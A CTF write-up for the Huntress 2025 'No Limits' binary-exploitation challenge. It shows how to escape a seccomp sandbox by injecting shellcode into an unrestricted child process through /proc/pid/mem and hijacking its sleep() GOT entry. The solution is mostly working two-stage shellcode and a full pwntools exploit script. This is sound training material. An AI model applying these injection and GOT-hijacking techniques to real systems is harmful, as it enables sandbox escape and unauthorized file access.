No Limits - Huntress CTF 2025 PWN Challenge Writeup
Huntress CTF 2025 "No Limits" PWN challenge writeup. Exploit parent-child process architecture to bypass seccomp restrictions using /proc/pid/mem and GOT hijacking techniques for privilege escalation.
- tags
- #Binary-Exploitation #Ctf #Huntress #Seccomp #Got-Hijacking #Pwntools
- categories
- CTF Writeups Binary Exploitation
- published
- reading time
- 10 minutes
Description
Challenge Author: @Wittner
Challenge Prompt: Even when you only have a few options, don’t let anything hold you back!
Category: PWN
CTF: Huntress 2025
Solution
For this challenge I worked together with my teammate r34w0k3n, my final solution relies on the working approach he used.
For this challenge we are given a simple binary to reverse engineer and exploit to retrieve the flag. The challenge author even provides us with a note on where to locate the flag on the filesystem.
The flag is in the root directory at /flag.txt
Analyzing the binary
First, we run checksec to gather some information about the binarys security features:
checksec --file=no_limits
[*] 'no_limits'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Key observations:
- No PIE: All addresses are fixed, making exploitation easier
- Partial RELRO: GOT entries are writable
- NX enabled: Stack is not executable
Next we can load the binary into a decompiler to analyze its functionality.
One key observation is that there is a fork() call at the very beginning of the main function.
The parent process handles a simple menu, while the child process enters an infinite loop.
v6 = fork();
if (v6) {
// PARENT PROCESS - handles menu
} else {
// CHILD PROCESS - infinite loop
}
Parent Process
The parent process presents a menu with four options:
- Create Memory: Allows memory allocation with custom permissions
- Get Debug Informationn: Prints the PID of the child process
- Execute Code: Can execute code at arbitrary addresses
- Exit
This makes it quite simple to execute shellcode in the parent process. However before the code is executed there is a seccomp filter applied. Since it operates on an allowlist, only a limited number of syscalls are permitted, and this cannot be circumvented by using alternative syscalls that provide similar functionality. Execute Code section:
puts("Where do you want to execute code?");
__isoc99_scanf("%lx", &v9);
ProtectProgram();
v12 = v9;
v9();
ProtectProgram applies the seccomp filter:
v22 = seccomp_init(0);
v1 = seccomp_rule_add(v22, 2147418112, 4, 0);
v2 = seccomp_rule_add(v22, 2147418112, 5, 0) | v1;
v3 = seccomp_rule_add(v22, 2147418112, 6, 0) | v2;
v4 = seccomp_rule_add(v22, 2147418112, 8, 0) | v3;
v5 = seccomp_rule_add(v22, 2147418112, 10, 0) | v4;
v6 = seccomp_rule_add(v22, 2147418112, 12, 0) | v5;
v7 = seccomp_rule_add(v22, 2147418112, 21, 0) | v6;
v8 = seccomp_rule_add(v22, 2147418112, 24, 0) | v7;
v9 = seccomp_rule_add(v22, 2147418112, 32, 0) | v8;
v10 = seccomp_rule_add(v22, 2147418112, 33, 0) | v9;
v11 = seccomp_rule_add(v22, 2147418112, 56, 0) | v10;
v12 = seccomp_rule_add(v22, 2147418112, 57, 0) | v11;
v13 = seccomp_rule_add(v22, 2147418112, 58, 0) | v12;
v14 = seccomp_rule_add(v22, 2147418112, 60, 0) | v13;
v15 = seccomp_rule_add(v22, 2147418112, 62, 0) | v14;
v16 = seccomp_rule_add(v22, 2147418112, 1, 0) | v15;
v17 = seccomp_rule_add(v22, 2147418112, 2, 0) | v16;
v18 = seccomp_rule_add(v22, 2147418112, 96, 0) | v17;
v19 = seccomp_rule_add(v22, 2147418112, 102, 0) | v18;
v20 = seccomp_rule_add(v22, 2147418112, 104, 0) | v19;
v21 = seccomp_rule_add(v22, 2147418112, 231, 0) | v20;
Based on this, the allowed syscalls in the parent process are:
| Syscall # | Name | Description |
|---|---|---|
| 1 | write | Write to file descriptor |
| 2 | open | Open file |
| 4 | stat | Get file status |
| 5 | fstat | Get file status (by fd) |
| 6 | lstat | Get symbolic link status |
| 8 | lseek | Reposition file offset |
| 10 | mprotect | Set memory protection |
| 12 | brk | Change data segment size |
| 21 | access | Check file accessibility |
| 24 | sched_yield | Yield processor |
| 32 | dup | Duplicate file descriptor |
| 33 | dup2 | Duplicate file descriptor |
| 56 | clone | Create child process |
| 57 | fork | Create child process |
| 58 | vfork | Create child process |
| 60 | exit | Exit process |
| 62 | kill | Send signal to process |
| 96 | gettimeofday | Get time |
| 102 | getuid | Get user ID |
| 104 | getgid | Get group ID |
| 231 | exit_group | Exit all threads |
Notably, read() (syscall 0) is not allowed, which prevents direct file reading from the parent process.
Child Process
The child process enters an infinite loop where it allocates memory and then loops, sleeping for 5 seconds each iteration.
ptr = malloc(0x100u);
while (1) {
strcpy(s1, "Hello world!\n");
if (!strncmp(s1, "Give me the flag!", 0x11u))
printf("I will not give you the flag!");
v7 = strncmp(s1, "exit", 4u);
if (!v7)
break;
sleep(5u); // ← Key: calls sleep every 5 seconds!
}
Most importantly, the child process has No seccomp restrictions and therefore any syscall can be used.
Crafting the Exploit
To solve this challenge and read the flag from the filesystem both processes can be used. As there is no way to use the read syscall in the parent process, we can leverage the child process to read the flag. The exploitation steps are as follows:
- Use shellcode in the parent to inject shellcode into the child’s memory
- Hijack the child’s GOT to redirect
sleep()to our shellcode - Wait for the child to call
sleep()from its infinite loop - The child executes the written shellcode without any seccomp restrictions and reads the flag
The exploitation relies on a special Linux interface: /proc/[pid]/mem. This pseudo-file provides direct access to a process virtual memory space. By opening this file with write permissions, arbitrary data can be written into the target process memory, even into read-only sections like .text.
The parent process can open /proc/[child_pid]/mem, use lseek() to position at the target address, and use write() to inject shellcode. All those syscalls are permitted under the seccomp filter.
Since PIE is disabled, all addresses are fixed and predictable.
Shellcode
The injected shellcode is split into two parts:
- Stage 1: Runs in the parent process (must be seccomp compliant)
- Stage 2: Runs in the child process (no seccomp restrictions)
Stage 1: Parent Shellcode
The first stage must work within the seccomp restrictions. Its sole purpose is to inject stage 2 into the child’s memory and hijack the GOT. It uses only the allowed syscalls: open, lseek, and write.
Getting the Current Instruction Pointer:
.intel_syntax noprefix
.globl _start
_start:
call get_rip
get_rip:
pop rbx
This uses the classic call/pop technique to obtain the current instruction pointer. The call pushes the return address onto the stack, which is immediately retrieved using pop into rbx. This allows the calculation of the relative addresses for position-independent code.
Locating Stage 2 Within the Code:
lea r12, stage2[rip]
lea r13, stage2_end[rip]
sub r13, r12
These instructions calculate the location and size of stage 2, which is embedded at the end of the shellcode. r12 now holds the address of stage 2, and r13 holds its size in bytes. This is crucial because stage 2 needs to be copied into the child’s memory.
Opening the child’s Memory:
lea rdi, path[rip]
mov rsi, 1 /* O_WRONLY */
xor rdx, rdx
mov rax, 2 /* sys_open */
syscall
mov rdi, rax
Opens /proc/[child_pid]/mem with write-only permissions. This special file provides direct access to the child process virtual memory. The file descriptor is saved in rdi for subsequent operations.
Crucially, this file allows the shellcode to write to any mapped region in the child’s address space, including read-only sections.
Writing Stage 2 to child’s .text Section:
mov rax, 8 /* sys_lseek */
movabs rsi, 0x4012B0 /* target address in child */
xor rdx, rdx
syscall
mov rax, 1 /* sys_write */
mov rsi, r12 /* source buffer */
mov rdx, r13 /* size */
syscall
First, lseek positions the file pointer to 0x4012B0 in the child’s memory. This is the start address of the child’s .text section where the second stage will be written.
Then, write copies the stage 2 bytes from the parent process memory r12 (Locating Stage 2 Within the Code) into the child’s .text section. Even though .text is normally read-only, writing through /proc/pid/mem bypasses this protection.
Hijacking the child’s GOT:
mov rax, 8
movabs rsi, 0x4040a8 /* sleep@GOT */
xor rdx, rdx
syscall
lea rsi, got_value[rip]
mov rdx, 8
mov rax, 1
syscall
The code seeks to the GOT entry for sleep() at 0x4040a8, then writes an 8-byte value: 0x4012B0. This overwrites the GOT entry, so when the child calls sleep(), it will instead jump to 0x4012B0 where the stage 2 shellcode now resides.
Parent infinite loop:
.align 8
loop:
jmp loop
An infinite loop keeps the parent process running. This is necessary because if the parent exits, the entire process tree (including the child) would be killed.
Data Section:
.align 8
got_value:
.quad 0x4012B0 /* Value to write into GOT */
.align 8
path:
.asciz "/proc/{child_pid}/mem"
Contains the data needed by stage1: the address to write into the GOT, and the path string for opening the child’s memory.
Stage 2: Child Shellcode
Stage 2 is embedded at the end of the full shellcode payload. During stage 1 execution, it copies stage 2 into the child’s memory at address 0x4012B0. Later, when the child calls sleep() in its infinite loop, the hijacked GOT entry redirects execution to our injected stage 2 shellcode.
Opening the Flag File:
stage2:
lea rdi, flagpath[rip]
xor rsi, rsi /* O_RDONLY */
xor rdx, rdx
mov rax, 2 /* sys_open */
syscall
mov rdi, rax
Opens /flag.txt for reading. The file descriptor is saved in rdi. This uses the same open() syscall that stage1 used.
Reading the Flag:
sub rsp, 0x300
mov rsi, rsp
mov rdx, 0x200
xor rax, rax /* sys_read */
syscall
Allocates 0x300 bytes of stack space as a buffer, then uses read() to read up to 0x200 bytes from the file into that buffer. The important point: read() (syscall 0) is blocked in the parent by seccomp, but works in the child because the child has no seccomp restrictions.
Writing Flag to stdout:
mov rdx, rax /* bytes read */
mov rax, 1 /* sys_write */
mov rdi, 1 /* stdout */
mov rsi, rsp
syscall
Writes the flag content to stdout (file descriptor 1). The number of bytes to write comes from the return value of read() in rax.
Clean Exit:
mov rax, 60 /* sys_exit */
xor rdi, rdi
syscall
Exits the child process cleanly with exit code 0. This prevents the child from crashing and ensures the flag output is flushed.
Data Section:
.align 8
flagpath:
.asciz "/flag.txt"
.align 8
stage2_end:
Contains the path string for the flag file, and marks the end of stage 2 for size calculation.
Exploit Execution Flow
The complete exploit flow works as follows:
- Connect and Get Child PID: Send command
2to get debug information, which reveals the child process PID - Allocate Executable Memory: Send command
1to create memory with RWX permissions for our shellcode - Inject Shellcode: Upload the stage 1 shellcode (which contains stage 2 embedded within it)
- Execute Stage 1: Send command
3to execute our shellcode at the allocated address - Stage 1 Actions:
- Opens
/proc/[child_pid]/mem - Writes stage 2 shellcode to address
0x4012B0in child’s memory - Overwrites child’s
sleep@GOTentry to point to0x4012B0 - Enters infinite loop to keep parent alive
- Opens
- Wait for Child: The child continues its loop, and after ~5 seconds calls
sleep() - GOT Hijack Triggers: Instead of calling
sleep(), the child jumps to our stage 2 shellcode - Stage 2 Executes:
- Opens
/flag.txt - Reads flag content (using unrestricted
read()syscall) - Writes flag to stdout
- Exits cleanly
- Opens
solve.py
The Python exploit script handles all the steps automatically:
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.binary = ELF('./no_limits')
context.log_level = 'info'
GOT_SLEEP = context.binary.got['sleep']
TARGET_ADDR = 0x4012B0
def build_payload(child_pid: int):
asm_src = f'''
.intel_syntax noprefix
.globl _start
_start:
call get_rip
get_rip:
pop rbx
lea r12, stage2[rip]
lea r13, stage2_end[rip]
sub r13, r12
lea rdi, path[rip]
mov rsi, 1
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rax, 8
movabs rsi, {hex(TARGET_ADDR)}
xor rdx, rdx
syscall
mov rax, 1
mov rsi, r12
mov rdx, r13
syscall
mov rax, 8
movabs rsi, {hex(GOT_SLEEP)}
xor rdx, rdx
syscall
lea rsi, got_value[rip]
mov rdx, 8
mov rax, 1
syscall
.align 8
loop:
jmp loop
.align 8
got_value:
.quad {hex(TARGET_ADDR)}
.align 8
path:
.asciz "/proc/{child_pid}/mem"
.align 8
stage2:
lea rdi, flagpath[rip]
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
sub rsp, 0x300
mov rsi, rsp
mov rdx, 0x200
xor rax, rax
syscall
mov rdx, rax
mov rax, 1
mov rdi, 1
mov rsi, rsp
syscall
mov rax, 60
xor rdi, rdi
syscall
.align 8
flagpath:
.asciz "/flag.txt"
.align 8
stage2_end:
'''
return asm(asm_src)
def main():
p = remote('10.1.106.87', 9999) # Change to process('./no_limits') for local
p.sendlineafter(b'command you want to do:', b'2')
p.recvuntil(b'Child PID = ')
child_pid = int(p.recvline().strip())
log.success(f'Child PID: {child_pid}')
sc = build_payload(child_pid)
p.sendlineafter(b'command you want to do:', b'1')
p.sendlineafter(b'big', str(len(sc)).encode())
p.sendlineafter(b'permissions', b'7')
p.sendlineafter(b'include?', sc)
p.recvuntil(b'Wrote your buffer at ')
addr = int(p.recvline().strip(), 16)
log.success(f'Shellcode at: {hex(addr)}')
p.sendlineafter(b'command you want to do:', b'3')
p.sendlineafter(b'execute', hex(addr).encode())
log.info('Waiting for child to call sleep() and print flag...')
sleep(6)
p.interactive()
if __name__ == '__main__':
main()
This ctf was solved together with the ByteStorm Team.